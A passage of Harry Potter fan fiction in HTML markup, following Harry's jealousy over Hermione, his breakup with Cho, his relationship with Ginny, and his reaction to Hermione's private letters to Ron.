didn&#8217;t she want to express them when there were other people around?&nbsp; Feeling slightly board Harry couldn&#8217;t resist the urge to open his eyes.&nbsp; He did. Still kissing her Harry saw a sight that made him feel ill.&nbsp; He broke the kiss and simply held her watching his other two friends.&nbsp; He was going to loose his dinner and whatever else he might have eaten that night.&nbsp;&nbsp;&nbsp; </p>\n\n<p>Hermione felt Ron&#8217;s hands intertwined in her hair, her mouth was pressed up against his opened and receiving him, she was surprised his mouth was warm and firm.&nbsp; Their tongues tested, deepening.&nbsp; But she felt no passion like she had with Justin, probably because she never even wanted to kiss Ron at all. It isn&#8217;t a bad kiss, it&#8217;s actually quite nice. It&#8217;s not rushed or frantic, but calm and soothing.&nbsp; <i>He is very good at this</i>.&nbsp; Her mind said.&nbsp; But she still didn&#8217;t ever want to do it with him again.</p>\n\n<p>&nbsp;&nbsp;&nbsp; Ron almost forgot it was Hermione he was kissing, but he didn&#8217;t.&nbsp; His mind told him that although he was getting much pleasure from her kiss there was no heat between them, no desire. This was all right because he really didn&#8217;t want anything more than friendship from her.&nbsp; He was getting over his curiosity about her, and without even realizing it Hermione helped him.</p>\n\n<p>Hermione pulled away looking at him, &#8220;well I can honestly say that I felt nothing in that, how about you?&#8221;</p>\n\n<p>&#8220;That&#8217;s what I was thinking too.&#8221; Ron smiled briefly.</p>\n\n<p>&#8220;Now don&#8217;t let this go to your head. But you are going to make a woman very happy one day, you have one gifted mouth.&#8221; She praised.</p>\n\n<p>&#8220;I thought you felt nothing?&#8221; He smirked.</p>\n\n<p>&#8220;Hey I still know when someone is a good kisser or not, even if it is you.&#8221; She grinned, getting to her feet.</p>\n\n<p>&#8220;I take that as a compliment, I think?&#8221;&nbsp; He smiled up at her and she turned around to walk back into the party.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cho pulled out of Harry&#8217;s arms looking up at him, he was looking down at her but there wasn&#8217;t that happy expression he usually got after holding her.&nbsp; Instead he looked violently ill.&nbsp; &#8220;Harry what&#8217;s the matter?&#8221;</p>\n\n<p>&#8220;I&#8217;ll be right back.&#8221; Harry dropped his arms from around Cho.&nbsp; Standing he walked over to Ron.</p>\n\n<p>Ron looked up at him &#8220;Hey.&#8221; </p>\n\n<p>&#8220;Hey.&#8221; He didn&#8217;t know what he was going to say, so he would start small &#8220;what were you just doing?&#8221;</p>\n\n<p>&#8220;Oh you mean Herm and I, it was nothing.&#8221;</p>\n\n<p>&#8220;If it was nothing then why did you do it?&#8221;&nbsp; His eyes narrowed in suspicion.</p>\n\n<p>&#8220;Harry you look like you want to rip my head of or something.&#8221; He chuckled a bit. </p>\n\n<p>&#8220;You shouldn&#8217;t have been doing that, Hermione is not yours to play with.&nbsp; You really sh&#8212;&#8221; Harry was interrupted by Ron standing abruptly.</p>\n\n<p>&#8220;Listen to me Harry, she wanted to. I asked her she agreed.&nbsp; It was just a New Years thing.&#8221;</p>\n\n<p>&#8220;You shouldn&#8217;t have done it at all!&#8221; His clinched fists lost all color</p>\n\n<p>Ron shook his head back and forth, &#8220;Why are you flipping out?&nbsp; It was just a meaningless kiss.&nbsp; I&#8217;m not going to hurt her. You don&#8217;t have to protect her from me, I am not the bad guy here.&#8221;&nbsp; Ron started to walk towards the doors into the party he stopped half way and turned back towards his friend, &#8220;Harry after you have calmed down we can talk about this some more if you want.&nbsp; I don&#8217;t see why you would get so upset over a little thing like this?&#8221; He walked into the party.</p>\n\n<p>Harry stared as Cho came up behind him.&nbsp; He felt her arm against his and he turned looking down at her.&nbsp; She was so not happy.</p>\n\n<p>&#8220;Green is a horrible color on you Harry.&#8221; Cho was sarcastic.</p>\n\n<p>He didn&#8217;t understand her meaning at all, Cho simply walked away from him into the party leaving him staring straight ahead.</p>\n\n<p>****</p>\n\n<p>It was New Years day as Cho sat with Harry in the library, she was so quiet it was disturbing.&nbsp; Harry looked at her, she appeared to want to say something.&nbsp; &#8220;Cho is something bothering you?&#8221;</p>\n\n<p>She nodded, &#8220;yes.&#8221; Cho looked him right in the eye, &#8220;I have some concerns Harry.&#8221;</p>\n\n<p>&#8220;Concerns about what?&#8221; </p>\n\n<p>&#8220;Is there something going on between you and what&#8217;s her name?&#8221;</p>\n\n<p>Harry knew who she was talking about and that Cho didn&#8217;t like saying Hermione&#8217;s name at all.&nbsp; He shook his head, &#8220;no, what makes you think that there is?&#8221;</p>\n\n<p>&#8220;Well it&#8217;s a lot of things, like I always see you staring at her whenever she comes into any room that you are in.&nbsp; She always has all your attention.&#8221;</p>\n\n<p>&#8220;I think you&#8217;re seeing things.&#8221; Harry said closing his book.</p>\n\n<p>&#8220;Am I?&#8221; She thought a moment, &#8220;I saw you and her during the Yule ball.&#8221; Cho&#8217;s eyes narrowed.</p>\n\n<p>&#8220;She needed me, that&#8217;s what friends do.&nbsp; We are there for each other.&#8221;</p>\n\n<p>&#8220;Yeah well you always do that, you always run after her. Half of the time you&#8217;re constantly talking about her.&#8221;&nbsp; She looked down at her fingers, &#8220;every time she gets close with someone you practically throw a fit, you are constantly angry and if I didn&#8217;t know any better I would say jealous.&#8221;</p>\n\n<p>&#8220;Like I said you&#8217;re seeing things Cho.&#8221; His eyes narrowed slightly.</p>\n\n<p>&#8220;No I&#8217;m not, when you saw your friend Ron kissing her last night I could have sworn you actually turned green.&#8221;</p>\n\n<p>&#8220;He shouldn&#8217;t have been doing that.&#8221; Harry immediately regretted saying that.</p>\n\n<p>&#8220;And why not?&nbsp; It was New Years Eve. Everyone kisses someone on New Years and he even asked her. I overheard the conversation just like you did.&nbsp; You wanted to hurt him didn&#8217;t you?&#8221;</p>\n\n<p>Harry so did want to hurt his best friend, but he wasn&#8217;t going to admit it, &#8220;Cho drop this, you don&#8217;t know what you&#8217;re talking about?&#8221; </p>\n\n<p>She looked him directly in the eye, &#8220;I will never ask you about this again if you do one thing for me?&#8221; </p>\n\n<p>&#8220;What?&#8221; He leaned in closer to her.</p>\n\n<p>&#8220;End your friendship with her.&#8221; </p>\n\n<p>He leaned back in his chair in disbelief as Cho continued to speak,&nbsp; &#8220;Harry listen to me.&nbsp; If you don&#8217;t end your friendship with her, we&#8217;re through.&nbsp; I will not be second best.&#8221; </p>\n\n<p>Harry didn&#8217;t want to loose Cho, but she was being very unreasonable. She wasn&#8217;t going to tell him who he could be friends with, it wasn&#8217;t her place.&nbsp; He didn&#8217;t order her around and tell her who she could be friends with.&nbsp; Yet he was actually considering it.&nbsp; He has had the biggest crush on Cho forever it seemed, and now she was finally with him.&nbsp; He didn&#8217;t want to give that up. At that moment Hermione walked into the library with Lavender, he couldn&#8217;t help but notice her, she walked towards one of her favorite sections laughing at what Lavender had said to her.&nbsp; She was so involved in looking for a book.</p>\n\n<p>He thought for a moment what his life would be like if Hermione was no longer in it.&nbsp; Harry could already feel the emptiness in the room without her around, no more laughter from her.&nbsp; Her smug know&#8212;it&#8212;all look she would get when she proved others wrong and herself right.&nbsp; Whenever she got excited about a good grade she would always jump up and down excitedly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Looking up, Harry saw Hermione opening a book and scanning though it.&nbsp; She flipped through all the pages, her eyes lit up with happiness when she found what she was looking for.&nbsp; She started dancing around in a little circle. Lavender started laughing, &#8220;Herm, what are you doing?&#8221;</p>\n\n<p>&#8220;What does it look like?&nbsp; I&#8217;m doing my happy dance.&#8221; And she continued. Watching Hermione, Lavender almost fell over with fits of laughter.</p>\n\n<p>It was true that the first smile he saw every morning was hers, and she always seemed really happy to see him except for when they had an argument, which wasn&#8217;t very often.&nbsp; She even tried teaching him to dance and no matter how many times he stepped on her toes she never got mad or upset, she would just laugh about it paying it no mind.&nbsp; Besides he would always make it up to her by holding ice against her toes for her.&nbsp; Hermione fought mostly with Ron which was really funny to watch and listen to she was always so clever.&nbsp; </p>\n\n<p>All that would be gone.&nbsp; </p>\n\n<p>He looked at Cho &#8220;I&#8217;m sorry, I&#8217;m not going to do that.&nbsp; Hermione is my friend and I will not stop our friendship because of your jealous notions.&#8221;</p>\n\n<p>&#8220;So you&#8217;re choosing her over me?&#8221; Cho stood, &#8220;this is really sad Harry.&#8221; She leaned in closer to him.&nbsp; &#8220;You don&#8217;t even realize it.&#8221;</p>\n\n<p>&#8220;Realize what?&#8221;</p>\n\n<p>&#8220;If you don&#8217;t know, then I&#8217;m not going to tell you.&#8221; Cho turned and walked from the library.&nbsp; </p>\n\n<p>He just stared, his mind went blank, he was just dumped by the most beautiful girl in school. He doubted he would ever get over it. </p>\n\n<p>****</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She decided she was going to tell him today, she just had to.&nbsp; Hermione rounded the corner and saw a sight so horrible that she just stared, she couldn&#8217;t move. It was as if a basilisk came in and petrified her again.&nbsp; <i>Ginny and Harry</i>. Her mind shouted, no wonder she told me not to say anything to him.&nbsp; Yesterday they had discussed it, Ginny said to give him some more time. Cho was a big heartbreak.&nbsp; Hermione told her that it had been months and that Harry wasn&#8217;t depressed over her anymore.&nbsp; And that no matter what happened, she was going to make her feelings known.</p>\n\n<p>Hermione breathed in deeply, her legs able to work again.&nbsp; Hermione turned and walked in the other direction, she never wanted to talk or see that backstabbing little witch again.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>She would not be able to handle this very well at all, she had to get away from this school and everyone in it. For a little while anyway.&nbsp; Hermione was relieved that spring break was less then a two and a half weeks away, if she could just submerge herself in her studies until then she would be fine.&nbsp; She would go home.&nbsp; Hermione stood in a line waiting for it to move, she picked up a quill that was sitting in pencil holder and wrote her name on the list for who was going home during that time.</p>\n\n<p>****</p>\n\n<p>Hermione went up to the girl&#8217;s dorm and started packing up a few of her clothes and things, She heard the door open and turned to find Ginny coming in.</p>\n\n<p>&#8220;Hermione you can&#8217;t keep ignoring me it&#8217;s been two weeks since we&#8217;ve talked, and we have to talk about this.&#8221;</p>\n\n<p>Hermione turned from Ginny and continued packing up her things, &#8220;I have nothing to say to you.&#8221;</p>\n\n<p>&#8220;I know you&#8217;re upset&#8212;&#8221; She was cut off by Hermione turning and glaring.</p>\n\n<p>&#8220;When I talked to you about what I was going to do you told me not to say anything. And now I know why.&nbsp; I had no idea you had a plan of your own, it was as if trying to beat me to it.&#8221;</p>\n\n<p>Ginny sighed, Hermione was right but she wasn&#8217;t going to admit.&nbsp; &#8220;Look I saved you from a broken heart, you would have ruined your friendship and then things would never be the same.&#8221; She said almost smugly.</p>\n\n<p>&#8220;Ginny, just leave me alone.&#8221; She placed her last shirt into her suitcase and closed it.</p>\n\n<p>Ginny left the room and Hermione soon followed.&nbsp; Ginny went right down the stairs and sat down next to Harry who was reading something, Ginny looked down and smiled at him as if she were trying to make Hermione miserable.&nbsp; </p>\n\n<p>Hermione acted like nothing was bothering her and that nothing was different as she went looking for her book, she lifted up the chair cushion that she was sitting on last night while she was reading.&nbsp; Her hands found her hips wondering where that blasted book was &#8220;has anyone seen my book?&nbsp; I left it down here last night.&#8221;</p>\n\n<p>&#8220;Hmm, I didn&#8217;t know you read stuff like this?&#8221; Harry said his head bent over a small muggle novel which he was reading.</p>\n\n<p>Hermione was caught, she did in fact read really steamy love novels and well she felt slightly embarrassed that her friend who was a guy had found it.&nbsp; She walked over to him and Ginny looked up at her.&nbsp; &#8220;Alright Harry hand it over,&#8221; She held her hand out for it.</p>\n\n<p>He looked up at her with a smirk, &#8220;I&#8217;m not finished with it yet.&#8221;</p>\n\n<p>&#8220;Yeah well neither am I, so give it up.&#8221; Hermione tried to grab it from him, but he held it away from her.</p>\n\n<p>Harry got to his feet, &#8220;If you want it you&#8217;re gonna have to take it from me.&#8221;&nbsp; </p>\n\n<p>&nbsp;She reached for the book still not able to get it back.&nbsp; </p>\n\n<p>Harry held the book behind his back &#8220;you should just give up, you&#8217;re no match for me.&#8221; He stuck his tongue out at her.</p>\n\n<p>&#8220;Okay you asked for it.&#8221; Hermione poked him in the side with her finger, &#8220;give it back.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He bent over slightly with a tiny laugh, &#8220;never.&#8221;</p>\n\n<p>She poked him in the side again he bent slightly trying not to laugh, &#8220;one last chance to hand it over willingly, or I&#8217;m gonna make you suffer.&#8221;</p>\n\n<p>Harry shook his head, &#8220;What are you going to do bore me to death?&#8221;&nbsp; He started backing away.</p>\n\n<p>&#8220;That&#8217;s it.&#8221;&nbsp; She started towards him and he moved away only slightly faster.&nbsp; She moved towards him at his same speed, he broke into a small run, running backwards watching her running after him.&nbsp; He then turned running from her.&nbsp; He ran towards the exit to the common room and out of the tower, with Hermione following after him.&nbsp; </p>\n\n<p>Ginny looked up at her brother, &#8220;why didn&#8217;t he just give her book back?&#8221;</p>\n\n<p>Ron shrugged, &#8220;not sure.&nbsp; They&#8217;re always doing things like that.&#8221;</p>\n\n<p>&#8220;Really, how come I never noticed before?&#8221;&nbsp; Ginny stood and started towards the portrait hole.</p>\n\n<p>&#8220;You are either asleep, or somewhere else.&nbsp; You never hang around us anymore, so you miss a lot.&#8221;</p>\n\n<p>Ginny stepped from the tower, she walked down the stairs and noticed the front doors to the school were wide open.&nbsp; &#8220;They went outside.&#8221; A voice said coming from the great hall.&nbsp; Turning, Ginny found Cho Chang coming towards her,</p>\n\n<p>&nbsp;&#8220;How do you know where they went?&#8221;</p>\n\n<p>&#8220;I saw them.&#8221; Cho smiled pleasantly, &#8220;your name is Ginny right?&#8221; She was friendly.</p>\n\n<p>&#8220;Yes,&#8221; Ginny nodded and headed out of the school standing at the top of the stairs watching Hermione chasing Harry all over the grassy lawn. She saw her finally catch him by lunging at him grabbing him by the ankles.&nbsp; Harry fell to the ground and before Ginny knew it Hermione was sitting on him trying to reach for her book.&nbsp; </p>\n\n<p>Even though he was underneath her, he still held the book away from her.&nbsp; Hermione continued to reach for it, She was getting so close but it he would rip it from her fingers nearly a second later.&nbsp; Hermione looked down at him, &#8220;come on give it to me.&#8221; </p>\n\n<p>That one was too easy; he almost couldn&#8217;t resist but he bit his lip holding back his comment &#8220;No way, it&#8217;s my book now.&#8221;&nbsp; He grinned.</p>\n\n<p>Hermione started poking him with her fingers in all his ticklish spots, making him scream with uncontrollable laughter, &#8220;do you give up, huh? Or do you want more?&#8221; She said with a smirk continuing her tickling torture.</p>\n\n<p>&#8220;Alright&#8212;alright, I give up.&#8221; He held the book to her.</p>\n\n<p>&#8220;Ha I win,&#8221; She took it from his hands, getting off of him she stood up with a triumphant smile.</p>\n\n<p>He looked up at her still smiling, &#8220;that was not fair.&#8221; He teased.</p>\n\n<p>&#8220;I told you I would make you suffer.&#8221; She said smugly.</p>\n\n<p>&#8220;Yeah we&#8217;ll I&#8217;m gonna get you back one of these days, and you&#8217;re not going to know, when or where. But I&#8217;ll get you.&#8221; He got to his feet.</p>\n\n<p>&#8220;Uh-uh and Malfoy will become your best friend.&#8221; She grinned.</p>\n\n<p>Harry looked at the book in her hand and then at her &#8220;why do you read stuff like that anyway?&#8221;</p>\n\n<p>She shrugged, &#8220;To get away from reality. True love like this is only in story books. It doesn&#8217;t really happen&#8221; Hermione looked down at the cover of her book. &#8220;Although sometimes I wish it did.&#8221;</p>\n\n<p>Ginny felt strange, Harry just totally and heavily flirted with her, Ginny was staring.</p>\n\n<p>&#8220;I wouldn&#8217;t get too attached to him if I were you.&#8221; Cho said standing behind her.</p>\n\n<p>&#8220;Why not?&#8221; Ginny turned to face Cho.</p>\n\n<p>&#8220;Because of her&#8221; Cho pointed towards Hermione as she saw her walking with Harry.</p>\n\n<p>&#8220;What do you mean, they are just friends. Harry said so.&#8221; </p>\n\n<p>Cho shook her head, &#8220;yes Ginny keep telling yourself that.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know why I should listen to you?&nbsp; You obviously couldn&#8217;t handle your relationship with him.&nbsp; But I started out as his friend so it&#8217;ll be different with me.&#8221; She said trying to sound sure of herself.</p>\n\n<p>&#8220;She will always be between you and Harry, that&#8217;s just the way it is.&nbsp; I told him to stop being friends with her, but he refused.&nbsp; Look you don&#8217;t have to listen to me, you&#8217;ll find out for yourself. And I could be wrong, you might very well keep his full attention.&#8221;</p>\n\n<p>&#8220;Well I&#8217;ll have a week to prove that I am the only one, Hermione is going home during the holiday. So that should be enough time for me to work my magic over his heart.&#8221;</p>\n\n<p>&#8220;Good luck then Ginny, tell me how it pans out.&#8221; Cho said with a smile and she walked back inside the school.</p>\n\n<p>****</p>\n\n<p>Hermione sat between Ron and Harry, Ginny on Harry&#8217;s other side.&nbsp; She noticed that the three of them were in heavy conversation.&nbsp; Ginny felt like she didn&#8217;t fit in here. But she had to try.&nbsp; &#8220;Harry are you staying for the Easter holiday?&#8221;</p>\n\n<p>&#8220;Yes, I really don&#8217;t want to go back to the Dursleys for them now, it will be another couple of months before I can go and stay with Sirius. Possibly by the end of summer if all goes well.&#8221; He smiled briefly.&nbsp; &#8220;What about you?&#8221;</p>\n\n<p>&#8220;Yes we all are staying this time.&#8221; Ginny said with a nice smile, &#8220;well all of us except Hermione.&#8221;</p>\n\n<p>Harry turned his head looking at Hermione&#8217;s profile, &#8220;you&#8217;re going home?&#8221;</p>\n\n<p>Hermione nodded turning to face him, &#8220;yes, my parents are going on their second honeymoon and they need me to watch the house for them.&nbsp; I was going to go home anyway so it really isn&#8217;t an in convince for me.&nbsp; Plus I want to get a summer job, so I owled a few businesses in Diagon Alley and I have a few interviews set up for that week.&#8221;</p>\n\n<p>&#8220;Hmm, that sounds good.&#8221; He really didn&#8217;t like that idea of her going home, but oh well what could he do?&nbsp; He turned and looked at Ginny.&nbsp; He at least he had Ginny and Ron staying so he wouldn&#8217;t be too lonely. </p>\n\n<p>****</p>\n\n<p>&nbsp;&nbsp;&nbsp; &#8220;Ginny, we need to stop.&#8221;&nbsp; Harry sat up, he looked straight at the wall.</p>\n\n<p>&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221; She looked at him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp; He looked down at her, &#8220;you don&#8217;t think we&#8217;re moving just a tad too fast, I mean it&#8217;s been what three days since we started dating?&#8221;</p>\n\n<p>&#8220;Not really,&#8221; She glanced down at her hands, &#8220;I can understand if you don&#8217;t want to.&#8221; </p>\n\n<p>&#8220;It&#8217;s not that at all, I just feel I&#8217;m taking advantage of you.&nbsp; And I don&#8217;t like that feeling.&#8221;</p>\n\n<p>&#8220;Well you&#8217;re not; I mean I&#8217;ve liked you for a really long time, since I first met you.&nbsp; Doesn&#8217;t that count for something?&#8221; Her gaze held his.</p>\n\n<p>&#8220;It counts a lot, but this just isn&#8217;t the right time. I feel it&#8217;s too soon in our relationship.&#8221; </p>\n\n<p>Ginny smiled, &#8220;you are really considerate of a young woman&#8217;s feelings aren&#8217;t you Harry?&#8221;</p>\n\n<p>Harry blushed.</p>\n\n<p>&#8220;Can I ask you a question about Cho?&#8221;</p>\n\n<p>Harry thought a moment then nodded &#8220;sure what do you want to know?&#8221;</p>\n\n<p>&#8220;Were you in love with her?&#8221;</p>\n\n<p>&#8220;Love?&#8221; He thought a moment, love is such a strong word one that should not be used everyday and tossed around like a baseball.&nbsp; &#8220;You know I don&#8217;t think I did, I mean I really liked her. It was almost love I think?&#8221; He looked at Ginny.</p>\n\n<p>&#8220;How do you know what love feels like? How do you know if you&#8217;re in it?&#8221;</p>\n\n<p>&#8220;You know I have no idea,&#8221; He said completely confused by what the meaning of love was.&nbsp; He looked around the room over at Ron&#8217;s bed and mess he had made on the dresser.&nbsp; It sure looked like he was looking for something important.&nbsp; &#8220;Hey Ginny, do you want to be a snoop?&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; Ginny was unsure.</p>\n\n<p>&#8220;Since you are Ron&#8217;s sister you can go through his things he won&#8217;t kill you for doing it.&nbsp; Find me something interesting to torment him with.&nbsp; He&#8217;s always getting the last word, I want one for once.&#8221;</p>\n\n<p>Ginny&#8217;s face lit up, &#8220;oh you want me to go through his things, and find something really juicy on him don&#8217;t you?&#8221;</p>\n\n<p>Harry smirked, &#8220;yes.&#8221;</p>\n\n<p>She couldn&#8217;t resist, &#8220;alright.&#8221; She got up off the bed and went over to Ron&#8217;s messy dresser, she found all kinds of things, lots of inappropriate reading material which she was shocked to find, with young ladies in very steamy positions. &#8220;Ugh&#8221; she was disgusted and tossed those under the bed away from her sight. Ginny heard Harry laugh at the face she made. &#8220;I can&#8217;t believe he reads those things.&#8221; She looked up at Harry with suspicion.&nbsp; &#8220;You don&#8217;t read them do you?&#8221;</p>\n\n<p>&#8220;No Ginny of course not.&#8221; He grinned, watching Ginny rolled her eyes and shake her head. He watched her pull another skinny drawer out, looking under a bunch of writing supplies.&nbsp; She found a few letters addressed to Ron, there was something familiar about that writing.&nbsp; They had been opened, she pulled one of the letters from its envelope.&nbsp; &#8220;Harry I think I found something.&#8221;</p>\n\n<p>Harry stood and walked over to Ginny sitting next to her on Ron&#8217;s bed.&nbsp; &#8220;What did you find?&#8221; He saw the letter in her hand, immediately recognizing that handwriting.&nbsp; And he snatched the letter from Ginny&#8217;s hand.&nbsp;&nbsp; The scent coming from the paper was definitely &#8220;Hermione&#8217;s writing&#8221; He said out loud.</p>\n\n<p>&#8220;How do you know?&#8221;</p>\n\n<p>Harry looked at Ginny, &#8220;I know her handwriting anywhere, and the letter it has her scent.&#8221;</p>\n\n<p>&#8220;Really, I didn&#8217;t even notice any smell coming from it, are you going to read it?&#8221;</p>\n\n<p>&#8220;Probably not, it&#8217;s to Ron so it can&#8217;t be that important.&#8221; He smiled.</p>\n\n<p>&#8220;Then let me have it back.&#8221; She plucked the letter from his hand, and she started to put it back in the envelope when a particular word caught her eye.&nbsp; She started reading it, half way down the letter she felt her cheeks flushing beet red.</p>\n\n<p>Harry noticed her getting really flushed, &#8220;Ginny? Are you alright?&#8221;</p>\n\n<p>Ginny looked up at Harry, then down at the other two letters in her lap that were from Hermione as well.&nbsp; </p>\n\n<p>&#8220;Ginny? You&#8217;re starting to worry me.&#8221;</p>\n\n<p>She finally snapped out of her daze. &#8220;Uh, I&#8217;ll be fine in a moment.&#8221; She went back to reading the letter her heart started hammering &#8220;oh great heavens.&#8221; She said quietly, breathy.</p>\n\n<p>But Harry heard what she said, &#8220;what?&#8221; he tried to reach for the letter but she held it away from him. &#8220;Ginny what is it?&#8221;</p>\n\n<p>&#8220;These letters from Hermione are well kind of, unbelievable. I doubt she did any of this and told Ron about it.&#8221;</p>\n\n<p>&#8220;Did what? Let me see.&#8221; He reached for it but she held it away.</p>\n\n<p>&#8220;I can&#8217;t let you see it, she&#8217;s asking Ron why he still wants to know and why you would flip out if you ever heard what was said? But she still continues on and it&#8217;s pretty&#8212;um&#8212;&#8221;&nbsp; She was interrupted by Harry snatching the letter roughly from Ginny&#8217;s hand.&nbsp; &#8220;Oh please don&#8217;t read that it&#8217;s really none of your business.&#8221;</p>\n\n<p>Harry stared at the letter, those words. &#8220;What the hell!&#8221; He shouted.&nbsp; Harry turned to Ginny, &#8220;give me the rest of those letters please.&#8221; His voice straining to keep calm, he held his hand out for them.</p>\n\n<p>&#8220;I really don&#8217;t think&#8212;&#8221; She was interrupted by Harry simply glaring at her.</p>\n\n<p>&#8220;Ginny.&#8221; He said firmly.</p>\n\n<p>She sighed and handed him the last two letters, &#8220;Harry you shouldn&#8217;t even be reading them, she wrote them to Ron not to you.&#8221;</p>\n\n<p>Ignoring her, Harry opened the second letter, it was worse than the first.&nbsp; &#8220;Is she out of her mind?&#8221; He looked over at Ginny. Then he scanned the letter some more.&nbsp; </p>\n\n<p>The door opened and Ron came through he was whistling, he saw Ginny sitting on his bed and Harry reading something.&nbsp; &#8220;Oh man.&#8221; He said.&nbsp; Ron walked up to Harry and snatched one of the letters from his hand glaring at him, &#8220;why are you reading my personal letters Harry?&#8221;</p>\n\n<p>&#8220;Oh yeah they are personal all right, why is she telling you all of this?&#8221; </p>\n\n<p>Ron looked over at his sister &#8220;Gin you should go.&#8221;</p>\n\n<p>&#8220;But I want to know why she&#8217;s writing to you like this, this is disgusting.&#8221; Ginny pointed to the letter in her brother&#8217;s hand.</p>\n\n<p>&#8220;I&#8217;m sorry if you don&#8217;t approve Ginny, but I wanted to know.&#8221;</p>\n\n<p>&#8220;Why?&#8221; Harry glared.</p>\n\n<p>&#8220;She had written me the first day of her spring break telling me that her neighbor finally noticed her, and that they were going to be spending time together while on vacation from school.&nbsp; She said some things were not going in the right direction here at Hogwarts and that Carlo was going to try and help her through them.&#8221;</p>\n\n<p>Ginny sucked in a breath knowing exactly what Ron was referring, &#8220;Yeah but she&#8217;s letting him do all that&#8212;&#8221; She was interrupted.</p>\n\n<p>&#8220;Ginny, stop okay.&#8221; Harry said, &#8220;I know what the letter said I read it.&#8221;&nbsp; He turned to Ron &#8220;This guy is just using her, you know that. You&#8217;ve read the letters.&#8221;</p>\n\n<p>&#8220;It&#8217;s both ways Harry, Hermione is not the innocent in this. She&#8217;s just as bad.&#8221;</p>\n\n<p>&#8220;No she&#8217;s not, and if you were a good friend you would not say that.&#8221;&nbsp; He crumpled the paper in his hand.</p>\n\n<p>&#8220;Harry, no body is innocent when it comes down to sex.&#8221; And he was going to prove it &#8220;did you get to the part where she &#8212;&#8221; The crumpled paper flew hitting Ron in the forehead.</p>\n\n<p>&#8220;I read every thing you don&#8217;t need to recap for me.&#8221; </p>\n\n<p>&#8220;Harry settle down you are blowing this way out of proportion, no pun intended of course.&#8221; Ron referred to the letter that was thrown at his head.</p>\n\n<p>&#8220;I don&#8217;t even want to think about her doing that with him.&#8221; Harry snapped.</p>\n\n<p>Ron turned to his sister, &#8220;Gin I really think you should leave.&nbsp; Harry and I need to have this out. Some things might come out that you don&#8217;t need to hear or worry about.&#8221;</p>\n\n<p>&#8220;Ron, Harry you guys shouldn&#8217;t keep secrets from me.&#8221; Ginny pleaded.</p>\n\n<p>&#8220;Let her stay Ron, she wants to know, she wants to hear. And why shouldn&#8217;t she?&#8221; Harry was bitter.</p>\n\n<p>&#8220;Fine, why are you the only one extremely angry about this?&nbsp; I&#8217;m not, Ginny&#8217;s not?&nbsp; It&#8217;s not really unusual that Herm would want to be involved with someone who makes her feel nice.&nbsp; I mean is it? Is she wrong to want&#8212;&#8221;</p>\n\n<p>&#8220;Ron, it&#8217;s not wrong far from it.&nbsp; But she just can&#8217;t go around and do those things, with&#8212;&#8221; This time Harry was interrupted.</p>\n\n<p>&#8220;With someone who actually likes her?&#8221;</p>\n\n<p>&#8220;No, with a guy who&#8217;s just going to end up tossing her aside when she gets pregnant.&#8221;</p>\n\n<p>&#8220;She&#8217;s not going quite that far yet, she even admitted that it probably won&#8217;t be for awhile before she even gets that serious with anybody.&nbsp; These are just little fun games to play while she&#8217;s waiting.&nbsp; She even said that. Did you read that part or were you just so blinded by fury. Or is it something else that you&#8217;re blinded by?&#8221;&nbsp; Ron looked at Ginny, who looked back at him.</p>\n\n<p>Harry sighed long and deep, he stared at the floor. &#8220;I just don&#8217;t want her to get hurt, I hate to see that look on her face. It breaks my heart to see her in pain like that.&nbsp; The way she looked at the Yule Ball, it was pure torture.&#8221;</p>\n\n<p><i>Breaks his heart?</i> Ginny thought, she so hoped Cho wasn&#8217;t right. <i>Please don&#8217;t let Cho be right, please don&#8217;t Cho be right.</i> She begged her brain to stop thinking that.</p>\n\n<p>&#8220;Yes Harry it breaks my heart too to see her like that, but we can&#8217;t keep her sheltered from it. She&#8217;s going to make friends, she&#8217;s going to make lovers and she&#8217;s going to make mistakes. It&#8217;s just called life.&#8221;</p>\n\n<p>&nbsp;&nbsp; Ginny felt relief, <i>oh good Ron has the same feelings</i>. Well why shouldn&#8217;t they? Hermione is their best friend. It would be heartless not to care about her. Ginny nodded she had nothing to worry about.</p>\n\n<p>****</p>\n\n<p>The portrait door swung open and Ron came inside carrying a suitcase, Hermione followed. &#8220;Geeze Herm what did you bring back with you, everything in your room?&#8221;</p>\n\n<p>Hermione chuckled, &#8220;nope just the necessities.&#8221;</p>\n\n<p>&#8220;I was right, everything in your room.&#8221;</p>\n\n<p>Her eyes rolled, she saw the boys dorm room door open and Harry came out followed by Ginny. She felt sick.&nbsp; Spring break was over far too soon for her taste.</p>\n\n<p>&nbsp; Harry saw her and it seemed like she had been gone longer than a week. &#8220;I thought I heard a familiar voice.&#8221;</p>\n\n<p>Hermione turned around looking for someone, &#8220;really, who&#8217;s?&#8221; </p>\n\n<p>Harry threw her a sarcastic look and walked down the stairs to her, Ginny watched from the top of the stairs.&nbsp; &#8220;You know it was really different around here without you.&#8221;</p>\n\n<p>&#8220;Really? I didn&#8217;t think you would notice.&#8221;</p>\n\n<p>&#8220;Yeah Herm&#8221; Ron started, &#8220;there was no one to lull us into a blissful sleep when trying to listen to you explain Hogwarts a history to us.&#8221;</p>\n\n<p>&#8220;I&#8217;m going to pretend I didn&#8217;t hear that, and let you off the hook without beating you down with my superior intellect.&#8221;</p>\n\n<p>Ron shook his head back and forth and continued up the stairs towards the girl&#8217;s dorm.</p>\n\n<p>Hermione turned slightly to find Harry staring at her, &#8220;Um, Harry what are you staring at?&#8221;</p>\n\n<p>&#8220;Nothing really, it&#8217;s just you look a little different?&#8221;</p>\n\n<p>&#8220;I do?&#8221; She looked down at herself, &#8220;I don&#8217;t see how, I&#8217;ve looked this way well pretty much this way for awhile now.&#8221;</p>\n\n<p>&#8220;Oh never mind I don&#8217;t know what I was thinking.&#8221;&nbsp; </p>\n\n<p>Hermione walked up the stairs, &#8220;well I should go unpack my things now.&#8221;&nbsp; </p>\n\n<p>&#8220;Do you want some help?&#8221; Harry asked as he watched her go up the stairs.</p>\n\n<p>&#8220;Well I don&#8217;t really need the help, but I guess if you want to you can.&#8221; She smiled and then turned and walked back up the stairs,&nbsp; Harry raced up after her.&nbsp; Hermione passed Ginny on the 